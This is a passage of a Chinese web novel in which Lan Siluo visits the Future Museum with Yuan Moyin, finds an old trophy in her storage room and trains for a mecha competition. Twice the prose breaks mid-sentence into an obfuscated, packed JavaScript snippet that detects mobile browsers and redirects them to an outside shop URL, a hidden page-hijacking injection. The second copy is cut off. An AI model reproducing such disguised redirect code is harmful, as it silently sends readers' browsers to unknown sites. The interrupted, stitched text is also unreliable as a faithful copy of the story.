短暂的空白后,页面加载出来。 No.1:帝都星高级学院 兰司珞回去就联系了帝都星高级学院的招生办负责人,确定了入学的相关事宜。 顺便在跟其他人聊天的时候,不经意之间给他们都透露了他将和元墨洇一起去未来博物馆的消息。 其中数赫帆最为破防:“你老实告诉我,是不是因为元家的基因智商太高导致了什么后遗症,需要娶几个傻子中和一下。” 兰司珞沉思:“你说得很有道理。” 这些小小的插曲很快被兰司珞抛之脑后,在和帝都星高级学院签约完成后,去未来博物馆的日子如约来临。 元墨洇依旧穿着她的白色研究服,将黑发扎在脑后。 而兰司珞穿了一件镭射风衣,就这么花枝招展地闯到元墨洇面前。 元墨洇打量了他几眼,没有说话,径直向前走去。 兰司珞立刻跟上。 元墨洇和兰司珞随着停止的观光车站在地球面前。 兰司珞感慨万分:“听说地球曾经在人类的发展历史上被外星势力打碎,然后又被人类不惜一切代价重新拼凑了回来。你看这个介绍,上面说:‘地球是人类的过去,也是人类的未来’。” 与宇宙建立联系的过程中,地球曾被外星生物击碎。 是一位名叫叶重君的女士,带领着她的7位朋友,也就是后来八大星域的八位创始人,开着一条破破烂烂的战舰,在宇宙空间与外星生物周旋,一点点拾回了地球的碎片,重新拼成面前完整的蓝色星球。 他们的故事就好像是地球时代的一种动画,蕴含强大力量的宝物被不小心击碎,主角团历经艰险,终于打败反派,重新将宝物拼凑完整。 叶重君建立了帝都星域,创建了第一军团,现在已经扩张成九大军团。她将地球安放在博物馆里,外面是星族联盟最强的防御系统。 现如今过去两千多年了,地球一直完好无损,在博物馆里静静守护着人类的岁月变迁。 眼前的展示牌上还有两行字,据传是叶重君亲手写下的: 【地球是人类的过去,也是人类的未来。】 【八大星域,将不惜一切代价,守护我们的家园,直到最后一人。】 身旁的参展小助手正在播放地球的过往,兰司珞听得热泪盈眶,用掉好几张纸巾。 元墨洇站在他身旁,若有所思。 兰司珞终于看完整段介绍,把手里的纸巾扔掉,不好意思地说:“其实《历史》课程上看过很多遍,而且这是每年必考的题。但是不知道为什么,自己亲自来参观了一次地球之后再看,还挺感人的。” 他看了看时间,伸手勾住元墨洇的衣袖:“该去下一个地方了,我知道你想看什么。” 站定后,元墨洇抬头望去,面前的这个展厅门上写着几个大字:元九针展厅。 元墨洇并不意外,毕竟她从小就被称为“当代元九针”。 兰司珞推门进去,门内是一个巨大的展台,放着一个现在大家都非常熟悉的医疗设备,孕育舱。 摆在这里的这台是元九针亲手制作的第一个孕育舱,也正是这项研究成果,将女性从强制结婚和生育中解放出来,同时也拯救了星族联盟岌岌可危的出生率。 兰司珞好奇地看着:“我之前上网查到,说你还在舱里的时候,就被检测出来是个天才。” “只是各项数据异于常人而已。” “好可怕,怎么还有数据模型展览。” “这是基因锁第一代核心公式。” “基因锁我知道,‘确保你的基因完全属于你,不会被其他任何人滥用’,是这个吧?” “嗯。” “这块区域不是元九针的东西,噢,是冷辰一的。进驻博物馆还能带家属啊?” “这是元九针的要求。” “这里还有元九针的私人笔记本,捐赠者元彻冰,元彻冰是谁?” “元九针和冷辰一的女儿。” 兰司珞翻看元九针的每日计划,看得津津有味。 在大量工作安排的间隙,有一个名字被频繁插入。 “备注:冷辰一喜欢吃排骨。” “备注:冷辰一有心事,诊断为安全感不足,提升安全感计划如下:……” “待办事项:今天是冷辰一生日,计划如下:……” “备注:冷辰一今晚有事。” …… 冷辰一在元九针的故事里存在感并不高,唯一值得提到的就是他创办了珍辰之家。不过当时的人更多猜测是元九针太忙,因此授意他做的。 直到后来元九针学生时代做的每日计划被公开,人们才从字里行间的“冷辰一”里,得以一窥他们之间细水长流的爱情故事。 负责捐赠和设计展厅的元彻冰女士说,这个本子是元九针要求必须展出的重要物品。 兰司珞看得羡慕不已,想象着将来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260390|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人类也会在未来博物馆给元墨洇建个人展厅,他也能跟着住进来。到时候会有新的学生踏入这道门中,随手翻开上面展示的一个笔记本,上面赫然写着:兰司珞今天吃了两个甜筒。 这样所有人便都能知道了,兰司珞就是那个得到了元墨洇的爱的人。就像人们会从元九针的笔记本里津津有味地探讨她对冷辰一的爱一样。 或许元九针要求将这个笔记本放在展厅的时候就是这样想的呢? 兰司珞关上笔记本,看向元九针的3d投影:“真是不可思议,隔了这么多代,你们的发色和瞳色居然都没变。” “因为元九针把基因锁用在了自己身上。” 兰司珞被这个行为吓了一跳:“那你们就没想过解开吗?核心公式无法破解,解不开?” “这是荣誉。” “那你以后会和元九针一样吗?” “不会。” 兰司珞笑了,他指尖划过面前的文字,上面写着元九针一生都在为人类的自由而努力。 他故作不经意地问道:“那你的理想是什么呢?” “我想成神。” “嗯嗯。”兰司珞点头,然后脸上的表情逐渐凝固,“啊?” “成神”这两个字听起来要么就是元墨洇坏掉了,要么就是兰司珞耳朵坏掉了。 元墨洇是不可能坏掉的,兰司珞感到一阵伤心,原来自己耳朵坏掉了。 元墨洇看到他一会笑一会哭的,居然心情很好地提问了:“你觉得什么是神?” 兰司珞开始认真答题:“全知全能,永生不灭?” 元墨洇伸手,手指触摸到了元九针的介绍牌:“连光脑都无法做到全知全能,地球都无法做到永生不灭,这不是神。地球时代有位科学家叫爱因斯坦,你看,地球碎裂过,星族联盟存在了两千多年,现在的人类强大到进化出了精神力。但是,你我依然可以从历史书上,从物理学用到的某个公式里知道爱因斯坦是谁。” 元墨洇的银色眼眸中光芒闪耀,犹如月下翻涌的海潮:“只要人类一直记得我,我就是神。” 兰司珞忽然想起他第一次踏进教室的时候。 元墨洇的目光在他身上转瞬即逝。 就像神明的视线短暂停留,而他的人生就此改变。 出了元九针展厅,他们又逛了纪念品商店,吃了饭,还买了两个草莓冰淇淋。 兰司珞一边吃着冰淇淋,一边看着面前的机甲发展史展览。 “我可以说给你听吗?”他吃了一口冰淇淋,舌尖传来冰凉的甜意,像是困在雪地里的人心头那股热意,“我的理想。” “可以。” “我原来的理想是凭借自己的成绩加入军团,熬个一百多年,说不定能当上将军,然后完成一个S级任务,光荣退休。我在网上查过,像我这样的出身,一般升到少将就到顶了,这对我而言已经很好了。” 兰司珞直直地看着元墨洇,这个经常被身边人评价为爽朗大方缺心眼的人,其实大多数时候都不敢太过于将视线黏在元墨洇身上。 他会羞涩于自己自己与元墨洇地位的差距,又忐忑于让元墨洇看到自己永远无法在她面前从容做事的一面。 可是这一刻,当他谈起自己的梦想,自己的未来,他想要看着元墨洇,他希望亲眼目睹那些文字从他心里如同小溪般流淌而出,灌进元墨洇的心中的大海里,激起哪怕一滴小小的水花。 “但是现在我有了其他理想。”兰司珞脸颊灼烧着,手指紧紧攥着冰淇淋,冻得指尖传来麻木的触感。那双蓝色的眼睛却澄澈得光彩夺目,像湖面浸入一轮金色的太阳,浪涛拍打在岸边,溅起一连串流光溢彩的水花,“我想像冷辰一那样,写在历史书上你的名字后面。等未来的人在博物馆里翻开你的笔记本,他们能看见上面写着——” “兰司珞喜欢吃草莓冰淇淋。” 光屏上,兰司珞终于停止了编辑信息,最后一段长长的文字挂在元墨洇眼前。 兰司珞:[就像在未来博物馆里说的那样,我始终相信我是不一样的那个,我是被神明眷顾的那个。我不知道这十年发生了什么,但是如今的我已经实现了曾经的理想,而现在那个,我绝不会放弃。未来博物馆里交换的那个未来,我从未变过。] 元墨洇合上面前的笔记本,又翻开扉页。 上面写着“兰司珞喜欢吃草莓冰淇淋”。 那一箱笔记本,每一本的扉页上,都写着这一句话。 每一道熟悉的笔画都在提醒她,她为何喜欢兰司珞,兰司珞又为何喜欢她,这些谜题的答案,她可以去慢慢寻找。 因为她确实亲手将兰司珞写进了她的未来里,她有一辈子的时间去解这道早已写好答案的题。 不知过了多久,元墨洇终于放下笔记本,从温泉池中走出来,躺到床上。 她拿出光脑,通讯界面还显示着和兰司珞的聊天记录。 兰司珞没有对她隐藏自己的状态,代表用户在线的绿色圆圈缓慢旋转着。 像个睡不着急得团团转的傻瓜一样。 元墨洇点开傻瓜的聊天框。 元墨洇:[10月10日是汤燧星的火山节。] 元墨洇:[认真工作,平安回来,我在那天等你。] 她还是愿意穿过夜空,回应自己那一颗星星。 愿意给予星星一点时间,等待他来到自己面前。 23. 1号仓库和机甲竞赛 兰司珞的生活逐渐回到自己熟悉的节奏里。 他忙碌了几个月,开会、调试新装备,偶尔接取几个任务,装满瑟尔瓦克生物体的存储舱堆满整个战舰停泊港口。 光脑响起提示音,兰司珞划出光屏,上面提醒他,再过两天又该去青囊诊所按照元墨洇给他制定的疗养方案进行治疗。 兰司珞久违地睡了个好觉。 第二天醒来,打开光脑,何晞给他准备了足足一周的工作量。 他“哼”了一声,挑挑拣拣选了几个自己擅长的处理了。 然后对着通讯界面元墨洇的名字发呆。 脑子发着呆,兰司珞的手却有自己的想法,悄悄动了起来。 兰司珞:[我明天什么时候过去?] 五杯水后。 元墨洇:[都可以。] 兰司珞:[我早上5点起床。] 三杯半水后。 元墨洇:[青囊诊所10点开门。] 兰司珞:[那我9点过去,刚好我这里有很多很多很多工作,我可以一边工作一边等。] 兰司珞实在喝不下了,把自己的衣服都拿出来挨个熨烫了一遍。 元墨洇:[个人名片-周恒] 元墨洇:[以后工作发给他。] 兰司珞推开窗,遥望青囊诊所的方向,恨不得现在就飞到元墨洇身边。 不过他还是点开通讯列表,又给另一个人发消息。 兰司珞:[你确定1号仓库有我要找的东西?] 元墨枢:[不确定,但是我姐的私人物品都放在那里。] 兰司珞:[……] 元墨枢:[去看看又不花钱~] 元墨枢:[你顺便帮我看看我之前送的生日礼物都过得怎么样,拜托啦~] 兰司珞:[……] 他隐隐有种被坑了的感觉。 第二天,兰司珞8点就去了青囊诊所。 好在门还是开了,元墨洇并没有狠心地把他关在门外两个小时。 不过诊所里空无一人,兰司珞走在花园里,由小机器人带路去了治疗室。 治疗结束后,元墨洇才出现。 兰司珞躺在床上,问道:“我留了两个瑟尔瓦克剧毒体下来,可以做给你吃吗?” “好。” 兰司珞一个鲤鱼打挺从床上弹起:“厨房在哪里?” “沈钧。”元墨洇轻声唤了一句,半分钟后,沈钧出现在门口,“带他去厨房。” 沈钧面色平静地叫走兰司珞,一背过身,就换上了那副兰司珞熟悉的表情。 她笑容邪恶地问道:“兰少将,你是不是……” “是。”兰司珞从容点头,“我喜欢你老师,是的,没错。” 沈钧:“……想趁机给老师准备什么惊喜?” 兰司珞:“……” 沈钧轻咳一声,安慰道:“没事,我也可以有两个问题。” 兰司珞遗憾地说:“原来你看出来我喜欢你老师了啊。” 沈钧心里翻了个白眼,心道你到底在遗憾什么,她又不是乔砂那根木头。 好在兰司珞很快抓住了重点:“你说趁机准备惊喜?” 沈钧:“火山节诶,十年一次,我们也是第一次遇到,你不做点什么吗?” 兰司珞想起元墨洇那个承诺,无意思咧开一个傻笑:“我还没想好呢。” 沈钧眼珠在眼眶里转了一圈,确定周围没有其他人后,打开了自己的光屏:“我发你一份地图,上面标注了青囊诊所每个房间的位置和用途,剩下的你自己加油。” 兰司珞没想到这么容易就得到了自己想要的,他打开那份地图:“你带我去厨房,为什么要从你的医疗室旁边绕路?” 沈钧指着自己医疗室门口那一大盆花问他:“好看吗?” 兰司珞仔细看了,是他从没见过的模样,一看就是珍稀品种:“好看。” 沈钧得意一笑:“这就是我的目的,这还多亏了你啊,兰少将。” 沈钧将兰司珞扔在厨房就离开了,兰司珞从存储舱里倒出一个瑟尔瓦克生物体,麻利地将其大卸八块,很快做成了一盘漂亮的菜。 他将盘子托在左手上,装作要去送菜的样子,脚却离元墨洇的医疗室越来越远。 他鬼鬼祟祟地在花园钻来钻去,打起十二分的警觉性,一路上无惊无险但精疲力尽地找到了仓库。 正好有机器人来运送东西,仓库的门都开着。 兰司珞一路走进去,在靠里的位置找到了1号仓库。 1号仓库很空,与元墨枢说的差不多,里面放的东西跟其他仓库完全不同,是元墨洇的私人物品。 兰司珞高高抬起脚,又轻轻落到仓库的门内。 什么事都没发生,他不由笑了自己一下,大摇大摆地走了进去。 地上堆放着几个大箱子,他顺手将左手的盘子放上去,无意间看到了箱子上贴着的快递标签。 “你们也在这里啊。”兰司珞像老朋友一样和他的快递箱打了个招呼。 身旁还有满满一架子书,他小心绕开,又往前走了几步,看到散乱的杂物被整齐摆放在一个货架上。 兰司珞走过长长的货架,想象着元墨洇走在这里看着这些东西的表情。 他看到了元墨枢说的那个飞船模型,被放在透明盒子里。 忽然他脚步一顿。 面前是一个奖杯,看得出来是很有分量的比赛颁发的,根据上面的日期显示,这是一个十年前的奖杯,却依然锃光瓦亮。 兰司珞下意识伸出手,把奖杯从货架上拿下来,轻轻晃动。 里面有奇怪的“簌簌”声,比他想象中的坚硬很多。 他伸头向里面看去。 一枚枚花瓣,被封存在一张张卡纸里,还保有他当时把它们装进去时的美丽。 兰司珞伸手抓了一把,坚硬的花瓣从他指缝间又遗落回奖杯中。 他愣愣站了一会,忽然转身,双手将奖杯高举到面前,像是要献给某个人。 奖杯上映出他的脸,他似乎看到了十年前的自己。 那个一往无前,神采飞扬的自己。 7:00的闹钟铃声响起。 兰司珞一个鲤鱼打挺,从床上翻身而起,潇洒落地。 将脚塞进拖鞋,将头埋进衣服里,他凭着感觉走到墙边,伸出头来后,拿起笔准备在墙上的巨幅日历上画圈。 9月的日期已经被画完了,每个数字上都有一个中心打着叉的圈。 兰司珞翻了一页,在10月的第一天画了个圈。 往后翻了两张,12月1日被标了个五角星。 他叹了口气,将笔放回桌面,扭了扭肩膀,走进卫生间洗漱。 刷牙的时候,兰司珞顺手点开了光脑,通讯软件上立刻出现了好几条赫帆的消息。 赫帆:[你又训练到这么晚吗?] 赫帆:[还有两个月,加油归加油,你也别太拼了。] 赫帆:[你就算拿了第一,人家去不去看比赛都不一定呢。] 兰司珞在屏幕上打出“我想”,紧接着删掉。又换成“我其实”,又删掉。最后他发了个“你懂什么”过去。 赫帆没有回复,他对着屏幕示威般地扬起拳头,肌肉扯动间,发出“嘶”的一声。 他毫不在意地甩了两下胳膊,心里却想着离12月只剩两个月了。 12月是每个选定机甲系方向的学生最盼望的时候,星族联盟一年一度的机甲竞赛就在这个月举行。 通过层层初赛、复赛、决赛……最终决出总排名。 优秀的中级学院毕业生,将获得S级高级学院的入场券。那些有名的机甲战士,大多都是在机甲竞赛上崭露头角。 今年是兰司珞在帝都星中级学院就读的最后一年,也是他唯一能参加机甲竞赛的一年。 按照星族联盟的规定,中级学院的最后一年是不安排课程的,取而代之的是不同专业的招生测试。例如机甲系要求参加机甲竞赛并获得名次,医疗系要求有一份署名在第一位的医疗类研究成果等。 高级学院只招收顶级人才,是通往更高的世界的钥匙。 因此,自从9月开学以来,兰司珞就与所有机甲系毕业生一样,全副武装投入了机甲训练。 一大早,帝都星中级学院的免费机甲训练室里已经有了好些人。兰司珞来到自己熟悉的位置,打开光脑登录上去。 比赛是全息模拟的形式,制造机甲的材料是星族联盟最珍贵的资源之一,不可能将之损耗在比赛上。 登入账号后,兰司珞下载了自己保存好的机甲数据,顺手点击了【一键更新】选项,让AI根据他的累计战斗数据自动调整机甲的结构。 机甲更新完后,他点开AI生成的训练计划表,开始了上午的训练。 “兰司珞出来了。”训练室休息区聚集了好几个人,其中一人看到兰司珞离开训练装置,立刻出声提醒其余几人。 另一人朝兰司珞招了招手:“快来,就等你了。” 兰司珞一边随意用毛巾擦汗,一边走了过去,朝他们笑道:“我出来晚了,一起去吃饭?” “走走走,03号食堂新购入了一批食材,听说是两年前一个A级任务捕获的一种外星生物,青园那边联合普罗米修斯星域好几个研究所一起研究了两年,终于可以大规模养殖了。” “这么厉害?你怎么知道的?” “我女朋友告诉我的。” “你小子,都交了个这么厉害的女朋友了,还来跟我们争什么资源。” “这不一样,我越厉害,她在家族里面子就越大。” 兰司珞若有所思地听着。 “好像人挺多的,这个新的外星生物好像很好吃?” “那是,不过价格也贵,今天我可不请客了。” “哈哈哈,你这个财主也有舍不得钱的一天啊。” “快走吧,兰司珞,跟上。” 兰司珞慢慢跟在他们身后,出门的时候下意识抬头看了一眼。 往常每次看过去都空荡荡的地方出现了一个熟悉的剪影。 他脚步一顿,手上的毛巾不知不觉掉落在地上。 一只手在他眼前挥了挥:“看什么呢?别看了。一起去吃新的外星生物啊。” “好啊。”兰司珞捡起毛巾,在阳光下露出一排整齐的白牙,“我请客。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263917|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “真的假的?”几个人都被兰司珞吓了一跳,“你遇到什么好事了?” 兰司珞只是开心地说:“不告诉你们,不愿意就……” “愿意愿意,这次我要狠宰你小子一顿。” “我也是我也是。” 几个人嬉嬉闹闹朝食堂走去。 吃完饭后,兰司珞与朋友告别,一个人回到了教室。 他的位置早就被收拾得空荡荡的,旁边的位置原本也是同样空着,此刻却多了一个素色笔记本和一支笔。 他立刻来到自己位置上坐好,装模作样看起光屏来。 不一会儿,元墨洇朝兰司珞走来。 兰司珞站起来:“你、你来了,我还以为你这学期不会来了。” “嗯。”元墨洇冲他点头,“你瘦了。” 兰司珞拼命摆手:“没有没有,只是最近训练忙了一点。” “什么训练?” 兰司珞随手挽了个剑花:“就是那个机甲竞赛,我的目标可是全星族联盟第一!” “加油。” “我会的!” 兰司珞得到元墨洇的鼓励,兴奋地点头,然后…… 他把自己磕醒了。 兰司珞揉揉眼睛,窗外已经漆黑一片,教室里连同他自己的座位的灯都熄灭了,唯一的光源来自身旁的虚拟屏幕。 绿色的光打在元墨洇脸上,显得生动又美丽。 兰司珞见她专注地做着自己的工作,小心翼翼地侧着脸,趴在自己胳膊上,趁着这个机会多看两眼。 这一个月以来没日没夜的训练,所有的疲惫,好像一夕之间就消失了。 他觉得自己好像一个机器人,充好电之后,又能活力满满地战斗一个月。 “开灯。” 教室灯随着元墨洇的声音亮起,兰司珞“刷”的一下坐直了身体。 元墨洇没有看他,手依然在光屏上敲打着字符,只是开口道:“训练计划。” “啊?哦。”兰司珞登上自己的训练室数据,把那份训练计划下载下来,发给了元墨洇。 他想了想,连人带椅子蹦跶着坐到了元墨洇身边。 元墨洇恰好敲完最后一个字,点开兰司珞发来的训练计划。 很普通的计划,AI根据训练室遗留的S级体质学生的数据,拼凑出了这么一份方案。 “频率太高。”元墨洇在上面划去两天。 “效率太低。”她将其中的训练安排打乱重新排列了一番。 “需要安排医疗支持。”她顺手替兰司珞预约了每周一次的大型医疗舱使用服务。 “其实没什么的,我当时考中级学院也是这么训练的,还考了个S呢。我在这里睡着也不是累了,我就是,就是……” 兰司珞说谎了,他考中级学院的时候并没有这么努力过,他只是每次想起元墨洇,都有一种对方离自己很遥远的感觉。因此忍不住往自己的训练计划里再塞一点东西,仿佛这样就能再靠近元墨洇一点。 他不敢看元墨洇的眼睛,垂下眼睫,目光落在元墨洇的手指上:“我想拿第一名。” “兰司珞。” 兰司珞看向元墨洇,她神色淡漠,目光冰冷而锐利。只需要一眼,就能轰碎兰司珞自欺欺人的外壳,看透他内心的自卑和不甘心。 兰司珞希望她安慰自己,可元墨洇怎么会安慰人呢? 他希望能得到一个短暂的承诺,可他连元墨洇的心意都未曾看清。 若月亮从未照在他身上,他就不会如此贪婪,也不会像现在这样渴求更多。 更不会明知道得不到,仍然抱有一丝幻想。 他想要的,元墨洇不可能给。 “短视会毁掉你。” 是啊,这才是元墨洇会说的话。 可是如果就此认命,兰司珞就不是那个横冲直撞的兰司珞了。 他仰头问道:“如果我拿了第一,你能不能回答我一个问题?” 元墨洇没有说话,她那时在想什么呢?她在想如何回复自己的表白,亦或是直接拒绝掉自己的这个请求? 她会不会看不起自己拿荣誉来绑架她的这份心意。 当时的兰司珞心里却只有一个想法,他说:“就告诉我你想去念哪个高级学院就行。” 机甲竞赛的第一名,自然可以保送所有的高级学院。 他就是这样短视,就是这样不顾一切地,想要把所有的砝码都压在天平上,只为了天平朝他倾斜一个角。 “可以。”出乎兰司珞的预料,元墨洇答应了他,“两个要求,训练计划由我安排,机甲数据同步给我。” 回到宿舍之后,兰司珞收到消息提示,元墨洇把调整好的机甲数据发给了他。 方方面面,都按照他的战斗习惯做了调整。比起训练装置给他配置的大众化款式,现在这个机甲才真正刻上了兰司珞使用过的痕迹。 他拥有了第一个独属于自己的机甲,尽管是虚拟的。 兰司珞躺在床上。 他心里模模糊糊有了一个答案。 但他不敢相信,不敢真的抱有期待。 他觉得自己好像有点过于自恋了,竟然觉得元墨洇也喜欢他。 24. 荣誉、奖杯、鲜花、礼炮和……^^…… 元墨洇的训练计划果然比兰司珞自己的科学很多。 往日使用医疗室却怎么也抵消不掉的肌肉疲惫感也消失殆尽,兰司珞甚至觉得自己更有劲了。 休息时间多了,效率却提高了,兰司珞的训练成绩一骑绝尘,甚至打破了训练室的记录。 机甲竞赛在帝都星中级学院举行,赫帆提前半个月随着自己的学校来了帝都星。他来找兰司珞那天,正好撞见训练室里的电子排行榜一边发光一边说:“恭喜兰司珞同学成功打破机甲训练室速度记录,恭喜兰司珞同学……” 训练室里的机器几乎都中断了训练,人群将兰司珞围在中央,他只从缝隙里朝赫帆招了招手,便被恭喜的话语淹没了。 赫帆懒洋洋朝他招了招手,没有丝毫帮忙解救他的意思,唯独脸上的笑容比他想象的还要开心。 中午请客结束之后,看在食物的面子上,兰司珞终于挣脱了训练室的同伴,得以和赫帆一人提着一瓶能量饮料,坐在露天体育馆边缘。 体育馆就是接下来竞赛的比赛场地,几乎已经布置完成了。赫帆随手摸了摸身旁的彩带,立刻就从不知道什么角落里跳出一个机器人对他进行警告,吓得他手一抖,彩带洋洋洒洒散落在空中。 兰司珞哈哈大笑:“你放心,它只是警告你,就算你扯坏了,最多也只是将你驱逐出去,不会让你赔钱的。” 赫帆用饮料瓶砸了他一下:“你肯定扯坏过吧,还笑我。” 兰司珞的笑声一下子停住,他干咳两声,转移话题:“你要住我宿舍吗?” 赫帆摇头:“我们学校安排了统一的训练计划,还是住在那里方便一些。” “哦,好吧。”兰司珞喝了口饮料,赫帆也喝了一口。 “我说,你……”赫帆想到了什么,轻轻踹了兰司珞一脚,兰司珞正准备回答,他的光脑响起消息提示音,他立刻往旁边挪了一小步,打开了自己的光屏。 赫帆跟着挪了一小步过去,他没有偷看光屏,眼睛觑着兰司珞的神情:“怎么?高级学院招生办?” 兰司珞飞快地打字:“你别打扰我,让我想想该说什么。” “啧,这么谨慎,元墨洇给你发消息了?”赫帆随口调笑他。 “嗯。”兰司珞也随口应道。 “我就说……啊?”赫帆伸手钳住兰司珞的胳膊,他一抖,斟酌了好久的话还没想完就被发了出去。 他连忙挣脱赫帆的爪子,带着光屏“嗖”地跳上几步台阶,连发了好几句话解释。 赫帆没有跟上来打扰兰司珞,等兰司珞给元墨洇发完消息回到他身边坐下,他才问道:“元墨洇真给你发消息啊?她说了什么?”他夹出一副甜腻的嗓音,“是‘恭喜你,兰司珞同学。’还是‘继续加油,我很看好你哦。’” 兰司珞搓了搓胳膊上的鸡皮疙瘩:“别乱说,她给我发新的训练计划。” “什么训练计划?” “因为我的速度提前达标,所以她之前给我做的计划需要调整一下。刚刚她收到了我的消息,就给我重新制定了一个,机甲也要修改一下数据,大概明天就能给我吧。” 兰司珞努力让自己的言语听起来云淡风轻,但是随着赫帆的眼睛越睁越大,他的声音也就越来越飘,直到赫帆终于忍他不下,两个人在座位上手脚并用交流了一番新的训练成果,最后双双被赶出体育馆,并在一周内被禁止再次踏入。 午间休息时间很快过去,赫帆送兰司珞到了训练室门口,冲他挥手:“回见,我也要去训练了,等到竞赛开始,我也不见得会比你差。” 兰司珞也挥手:“第一名肯定是我的。” “祝我们都能得偿所愿。” “加油。” 元墨洇修改后的机甲却是凌晨4:40发给的兰司珞,他起床后就接收到了消息,没有立刻查看机甲,却对着这个发送时间皱起眉头。 元墨洇保送高级学院是板上钉钉的事,她也不需要参加任何竞赛,按理来说应该比兰司珞悠闲得多。 况且,兰司珞也不相信自己的机甲那点数据能花费元墨洇多少功夫,她吃个晚饭都能顺手改了吧。 正好今天是元墨洇给他制定的休息日,他先去医疗室做了检查和修复,在吃午饭的时候绞尽脑汁从几页完美数据里抠出两个有变化的细节,便带上新编好的借口往元墨洇的实验室走去。 实验室外有午休的研究员在闲聊,兰司珞偷偷靠了过去,听见她们说:“昨晚总算把那个东西搞定了,今天应该可以早点回去睡一觉了吧。” 另一个人回答她:“我向组长打听了一下,她说这半个月过了,今后就都是收尾的工作了。” “太好了,我要去猫咖快活一下,你去吗?” “去,今天下午就去,这半个月累死我了,希望我最爱的糕糕还记得我。” “糕糕哪有我们糯糯可爱。” “都可爱都可爱。” “对了,上次我看青园那边的研究报告,说是在培育一种头上长角的猫咪,一听就好可爱啊。” “醒醒吧,等他们培育完再投入市场,几十年都过去了。” “那不正好,退休前就能买一只了。” 两个人一起笑了起来。 兰司珞没听懂,但没有妨碍他猜到元墨洇的研究到了关键的时候。 听到两位研究员商量着下午的放松活动,他便想着在附近瞎转悠几圈,等元墨洇下班。 下午果然陆陆续续离开了很多研究员,只是眼看着黄昏将近,元墨洇的身影却始终都没出现。 兰司珞深吸一口气,来到元墨洇的实验室门口,正好有人从里面出来,看到他,关门的动作一顿,把兰司珞放了进去。 实验室只剩下元墨洇一个人,她身边围着四五个机器人,站在一台兰司珞没见过的设备前。 设备里摆放着一个外星生物,乍一看像一颗巨大的眼球,元墨洇手上拿着薄薄的手术刀,手起刀落,将之分解成不同的组织,再由身旁的小机器人依次拿走放好。 兰司珞轻轻把门关上,走到离她最近的空地上站着,她似乎一无所觉,依然专注地工作着。 太阳不知不觉就变成了月亮。 元墨洇关掉机器,转过身来,眼里终于有了兰司珞。 兰司珞眼睛一下子亮了:“你忙完啦?我来找你是因为……” 他想起自己编的那些借口,眼神又躲躲闪闪暗淡下来。 元墨洇站在原地,小机器人尽职尽责地围在她身边,有的脑门上顶着数据,有的手里拿着工具。 她一概没有理会,无声地看着兰司珞像个开开关关的灯泡一样闪烁着。 兰司珞硬着头皮拿出自己的身体检测报告,支支吾吾半天,刚编好的蹩脚理由还没说完,脸已经烧得不成样子。 元墨洇眼神扫过报告,低头接过了小机器人的工具,来到另一个放着许多玻璃制造的瓶瓶罐罐的仪器旁。 兰司珞磨磨蹭蹭也挪了过来:“你饿不饿?我点个外卖。” 他把外卖软件的点单界面放置在自己身前,上面一片他收藏的店铺,每一个的收藏名都是他的点评。 等了一会儿,元墨洇才腾出手来:“我不吃外卖。” 兰司珞忽然想到学校里流传已久的一份攻略,上面写着,如果想要偶遇元墨洇,只需要熟记教室、实验室和宿舍之间的路线就行。 元墨洇从来没有去过食堂或是在外面用餐。 兰司珞心里一喜:“我也可以做给你吃,实不相瞒,我每年都能拿珍辰之家的烹饪比拼优秀奖。” 元墨洇听了这话,在他的光屏上操作了两下,然后重新把精力投入到面前的机器中去。 兰司珞把光屏翻转过来,上面是一份本周营养餐安排表,每一份安排后面都贴心地附上了食材、用量和烹饪方法。 他找到今天晚上那份,看了两遍,胸有成竹道:“厨房在哪里?” 元墨洇轻点自己身旁的一个小机器人,小机器人立刻带着兰司珞走到一面空白的墙边,一扇隐形门缓缓在他面前打开。 兰司珞翻找了一下,厨房里竟然刚好准备了两份食材,他琢磨着可能是用来以防万一的,倒是便宜了他。 等他捣鼓出两份营养餐后,元墨洇已经关掉了所有仪器,在一张餐桌前坐着,手里看着一份学术报告。 “好吃吗?”兰司珞尝了一口自己的,味道让他有点怀疑自己的优秀奖是假的。 元墨洇却点了点头。 兰司珞勉为其难又吃了一口,艰难地说:“你平时就吃这种东西啊?” 他早该想到的,任何挂上“营养”、“健康”等标签的食物就不会好吃,就算配上他的绝顶厨艺也拯救不了。 元墨洇当着他的疑问又喝了一口汤,神色自若。 兰司珞想起那份长长的食谱,同情地说了句:“你受苦了。” 他阻止了元墨洇第三次把筷子伸向面前的食物:“我带你出去吃吧。” 元墨洇冷冷地看着他。 他坚定地把元墨洇的餐盘夺到自己面前:“我要让你见识一下我真正的厨艺。” 绝对不能让这种营养餐毁坏他的名声。 空气里的温度似乎在元墨洇的目光中寸寸降低,就在兰司珞快要坚持不下去的时候,元墨洇忽然放下手中的筷子:“好。” 半个小时后,兰司珞看着坐在自己对面吃着一碗普普通通的家常面的少女,还觉得有点恍惚。 他偷偷掐了自己一把,有点疼,没有做梦,他真的把元墨洇拐出来了。 现在的时间距离正常晚餐的钟点已经晚了两个小时,因此兰司珞选择的这家人气颇高的私人厨房此时人并不多,包间没有客满,他们刚来就能直接坐进去。 其实兰司珞更想带着元墨洇去夜市小吃街上逛一圈,一定能收获很多他梦寐以求的羡慕的目光。 但是考虑到可能会出现元墨洇当场把他甩掉离去,他在后面奋力追赶的可怕场景,他还是放弃了这个想法。 